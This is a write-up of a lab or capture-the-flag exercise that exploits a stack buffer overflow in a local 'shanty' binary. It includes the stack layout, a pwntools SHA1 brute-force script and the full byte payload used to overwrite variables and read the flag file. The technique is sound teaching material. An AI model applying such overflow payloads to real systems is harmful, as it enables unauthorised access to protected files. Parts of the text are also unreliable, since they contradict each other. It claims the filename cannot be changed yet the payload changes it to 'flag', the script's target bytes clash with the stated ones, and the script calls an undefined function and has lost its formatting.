Over-write multiple variables

💡
Overwriting multiple variables. Some values are kept the same, some must be figured out first through brute-forcing.

An application asks for a password and if given the correct one, returns secret information from the info file, located in the same directory.

We have access to the source code and the binary.

We want the flag file located in that directory but only the shanty executable has reading premission for that file.

Finding Vulnerability

FILE *file;                                             //4 bytes
unsigned char content[128];                           //128 bytes
unsigned char correct_hash[20] = {...};                //20 bytes
char filename[] = "/challenges/shanty/info";           //23 bytes + 1 for "\0"
unsigned char salt[8] = {...};                          //8 bytes
-> unsigned char password[20];                         //20 bytes
unsigned char salted_password[28];                     //28 bytes
-> scanf("%69s", password);  //limit: 69 bytes    

Although there is a boundary for the user input string length at scanf("%69s", password); (69 byte), there are only 20 allocated bytes for the password in the stack.

This makes this program vulnerable to stack buffer overflow attacks.

Perhaps overwrite correct_hash ?

This is what we assume what the stack looks like:

0x000...
|      ...      |
|---------------| <= esp
| salted_passw. |
| password      | 20 bytes (our input)
| salt          |  8 bytes
| filename      | 24 bytes
| correct_hash  | 20 bytes -> we can not reach 0x4b, 0xc1, 0x03
| content       | unreachable
| file          | unreachable
|      ...      |
|---------------| <= ebp
| sfp (old ebp) |
| ret adr       |
|---------------|
| argv[]        |
|      ...      |
0xFFF...
  1. Bruteforcing a password with 20 characters would take too long
  1. We can not fully overwrite the correct_hash variable
  1. We can not change the file path from info to flag

We therefore must over-write 17 out of the 20 characters in correct_hash and then find 3 characters that are equal to the ones we can not reach when they are hashed with the SHA1 function.

Our payload:

(password: should end with the 3 given bytes after hashing, 20 bytes) +
(salt: unchanged, 8 bytes) +
(filename:'/challenges/shanty/info', 24 bytes) +
(correct_hash: 17 / 20 characters overwritten, 17 bytes) 

We disassembled the binary to figure out the memory spaces of each relevant memory space:

salt 			    [ebp-0xb9],0x54       - [ebp-0xc0],0x5a
filename 			[ebp-0xa4],0x6f666e   - [ebp-0xb8],0x6168632f
correct_hash 	[ebp-0xb9],0xffffd518 - [ebp-0xa0],0xffffd52c

And we wrote down the content of these memory spaces (little endian) so we can reconstruct them in our payload.

Brute forcing to find hashed input

We then used a script to find the hashed input (19 Bytes) that ends with 0x4b, 0xc1, 0x03 .

#!/usr/bin/env python3
import re
import hashlib
from pwn import *CORRECT_HASH = "1dbb7e1f7283190b1d17658cc73d75dea54bc103"
END = "00c103"
SALT = b"\x5a\xc8\x85\x87\x9e\x33\xdf\x54"def hash_match(s):
h = hashlib.sha1()
h.update(SALT)
h.update(s.encode())
return h.hexdigest().endswith(END)def main():
solve()
answer = iters.mbruteforce(
lambda x: hash_match(x), string.ascii_letters + string.digits, 19, threads=4)
print(answer)
if __name__ == '__main__':
main()

Entering payload

We then used the received output from our script from the string for the actual payload and then got the flag.

./shanty < <(python3 -c 'import sys; sys.stdout.buffer.write(b"mWmN" +
b"\x00\x00\x00\x01" +
b"A"*12 +
b"\x5A\xC8\x85\x87\x9E\x33\xDF\x54" +
b"\x2f\x63\x68\x61\x6c\x6c\x65\x6e\x67\x65\x73\x2f\x73\x68\x61\x6e\x74\x79\x2f\x66\x6c\x61\x67\x00"+
b"\x32\xaa\xb7\x3a\xc6\x51\xc0\x39\xe8\x90\x88\x65\x04\x4f\x03\x14\xcc\x00\xc1\x03")')

Prevention

We could not have executed the exploit, if the code had the right limit for scanf .